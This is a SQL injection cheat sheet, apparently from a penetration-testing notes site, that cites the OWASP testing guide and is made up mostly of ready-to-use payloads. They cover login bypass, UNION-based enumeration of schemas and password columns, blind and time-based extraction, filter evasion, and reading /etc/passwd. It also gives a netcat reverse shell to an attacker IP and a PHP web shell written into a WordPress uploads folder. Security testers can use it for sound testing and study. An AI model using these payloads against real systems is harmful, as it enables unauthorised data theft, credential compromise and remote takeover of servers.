SQLi Cheat sheet for manual injection
Resources
OWASP
OWASP Web Security Testing Guide 4.2 > 7. Data Validation Testing > 7.5. Testing for SQL Injection
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
7.5 | WSTG-INPV-05 | Testing for SQL Injection | - Identify SQL injection points. - Assess the severity of the injection and the level of access that can be achieved through it. |
Languages and dictionaries
Server | Dictionary |
---|---|
MySQL | MySQL payloads. |
MSSQL | MSSQL payloads. |
PostgreSQL | PostgreSQL payloads. |
Oracle | Oracle SQL payloads. |
SQLite | SQLite payloads. |
Cassandra | Cassandra payloads. |
Attack-based dictionaries
Comment injection
Put a line comment at the end to comment out the rest of the query.
Valid for MySQL, SQL Server, PostgreSQL, Oracle, SQLite:
-- comment // MySQL [Note the space after the double dash]
--comment // MSSQL
--comment // PostgreSQL
--comment // Oracle
/*comment*/ // MySQL
/*comment*/ // MSSQL
/*comment*/ // PostgreSQL
#comment // MySQL
Boolean-based testing
Integer based parameter injection
Common in Integer based parameter injection such as:
Typical payloads for that query:
# Return true
AND 1
And true
# Return False
AND 0
And false
# Return 56 if vulnerable
1*56
# Return 1 if not vulnerable
1*56
String based parameter injection
Typical payloads for that query:
Exploiting single quote ('): In SQL, the single quote is used to delimit string literals. A way to exploit this is in a Login form:
# SQL query
SELECT * FROM users WHERE username = '<username>' AND password = '<password>'
# Payload
' OR '1'='1'; --
# The attacker's injected SQL code ' OR '1'='1'; -- causes the condition '1'='1' to evaluate to true, effectively bypassing the
authentication mechanism. Modified query would became
SELECT * FROM users WHERE username = '' OR '1'='1'; -- ' AND password = '<password>'
Error-based testing
Firstly, every DBMS/RDBMS responds to incorrect/erroneous SQL queries with different error messages, so an error response can be use to fingerprint the database:
A typical error from MS-SQL will look like this:
While a typical MySQL error looks more like this:
You have an error in your SQL syntax. Check the manual that corresponds
to your MySQL server version for the right syntax to use near [query
snippet]
UNION attack
MYSQL
#########
MYSQL
#########
# Access (using null characters)
' OR '1'='1' %00
' OR '1'='1' %16
# 1. Bypass a form
1' OR '1'='1';#
' OR '1'='1';#
1' OR '1'='1';-- -
' OR '1'='1';-- -
# 2. Number of columns (UNION attack)
1' OR '1'='1' order by 1;#
1' OR '1'='1' order by 2;#
1' OR '1'='1' order by 3;#
...
# Do this until you get an error message and then you will know the number of columns
# Another method to see the number of columns.
' OR '1'='1' order by 1;-- -
# 3. Get which column is being displayed. For instance, when we know we have 6 columns:
1' OR '1'='1' UNION SELECT 1,2,3,4,5,6;#
# 4. Get names of all databases
1' OR '1'='1' UNION SELECT null,table_schema,null,null,null,null,null FROM information_schema.tables;#
# 4. Get names of all databases in SQLite (name and schema of the tables stored in the database).
a' or '1'='1' union select tbl_name,2,3,4,5 from sqlite_master --
# 5. Get names of all tables from the selected database
1' OR '1'='1' UNION SELECT null,table_name,null,null,null,null FROM information_schema.tables;#
# 6. Get the name of all columns of a selected table from a selected database
1' OR '1'='1' UNION SELECT null,column_name,null,null,null,null FROM information_schema.columns WHERE table_name='users';#
# 7. Get the value of a selected column (for instance, password)
1' OR '1'='1' UNION SELECT null,passwords,null,null,null,null FROM users;#
1' OR '1'='1' UNION SELECT null,passwords,null,null,null,null FROM <databaseName.tableName>;#
SQLite
#########
SQLite
#########
# Ensure that the targeted parameter is vulnerable
1' a' or '1'='1' --
# Determine the number of columns of the query
1' a' or '1'='1' order by 1 -- //returns all results
1' a' or '1'='1' order by 2 -- //returns all results
1' a' or '1'='1' order by 3 -- //returns all results
1' a' or '1'='1' order by 4 -- //returns all results
1' a' or '1'='1' order by 5 -- //returns all results
1' a' or '1'='1' order by 6 -- //returns none
# Therefore the query contains 5 columns.
# Determine which columns are being returned
1' a' or '1'='1' UNION SELECT 1,2,3,4,5 --
# The table in this demo returned values 1,3,4,5. Value 2 was not returned.
# Extract version of sqlite database
1' a' or '1'='1' UNION SELECT sqlite_version,NULL,NULL,NULL,NULL --
# Determine the name and schema of the tables stored in the database.
a' or '1'='1' union select tbl_name,2,3,4,5 from sqlite_master --
# Determine the SQL command used to construct the tables:
a' or '1'='1' union select sql,2,3,4,5 from sqlite_master --
# In this demo it returned:
1 CREATE TABLE results (rollno text primary key, email text, name text, marks real, rank integer) 4 5
1 CREATE TABLE secret_flag (flag text, value text) 4 5
# Retrieve two columns from a table
a' or '1'='1' union select flag,2,value,4,5 from secret_flag --
Also, once we know which column is injectable, there are some php functions that can provide us some worthy knowing data:
Also, interesting payloads for retrieving concatenates values in a UNION based attack:
## Extract database names, table names and column names
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
And here an example of how to retrieve them:
# if injectable columns are number 2, 3 and 4 you can display some info from the system
union select 1, database(),user(),version(),5
# Extra bonus
# You can also load a file from the system with
union select 1, load_file(/etc/passwd),3,4,5
# and you can try to write to a file in the server
union select 1,'example example',3,4,5 into outfile '/var/www/path/to/file.txt'
union select 1,'example example',3,4,5 into outfile '/tmp/file.txt'
# and we can combine that with a reverse shell like
union select 1,'<?passthru("nc -e /bin/sh <attacker IP> <attacker port>") ?>', 3,4,5 into outfile '/tmp/reverse.php'
SQLi Blind attack
Firstly you need to check the application response to different requests (and/or with false true statements). If you can tell true responses from false responses and validate that the application is processing the boolean values, then you can apply this technique. For that purpose the operator AND is more valuable.
Boolean based
user() returns the name of the user currently using the database. substring() returns a substring of the given argument. It takes three parameters: the input string, the position of the substring and its length.
Boolean based query:
More interesting queries:
# Database version
1 and substring(version(), 1, 1) = 4--
# Check that second character of the column user_email for user_name admin from table users is greater than the 'c' character
1 and substring((SELECT user_email FROM users WHERE user_name = 'admin'),2,1) > 'c'
Time based
Resources
Vulnerable SQL query:
Time base query:
Interesting queries:
Examples of available wait/timeout functions include:
WAITFOR DELAY '0:0:10'
in SQL ServerBENCHMARK()
andsleep(10)
in MySQLpg_sleep(10)
in PostgreSQL
Extra Bonus: Bypassing quotation marks
Sometimes quotation marks get filtered in SQL queries. To bypass that when querying some tablename, maybe we can skip quotation marks by entering tablename directly in HEX values.
More bypassing tips:
# Using mingled upper and lowercase
# Using spaces url encoded
+
# Using comments
/**/
/**
--
; --
; /*
; //
# Example of bypassing webpages that only displays one value at a time
1'+uNioN/**/sEleCt/**/table_name,2+fROm+information_schema.tables+where+table_schema?'dvwa'+limit+1,1%23&Submit=Submit#
Extra Bonus: Gaining a reverse shell from SQL injection
Take a wordpress installation that uses a mysql database. If you manage to login into the mysql pannel (/phpmyadmin) as root then you could upload a php shell to the /wp-content/uploads/ folder.
Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
Extra Bonus: DUAL
The DUAL is a special one row, one column table present by default in all Oracle databases. The owner of DUAL is SYS, but DUAL can be accessed by every user. This is a possible payload for SQLi:
Oracle syntax requires the use of FROM, but some queries don't requires any table. For these case we use DUAL. Also Oracle doesn't allow the queries that employ information_schema.tables.
Last update: 2024-04-01 Created: January 3, 2023 01:16:43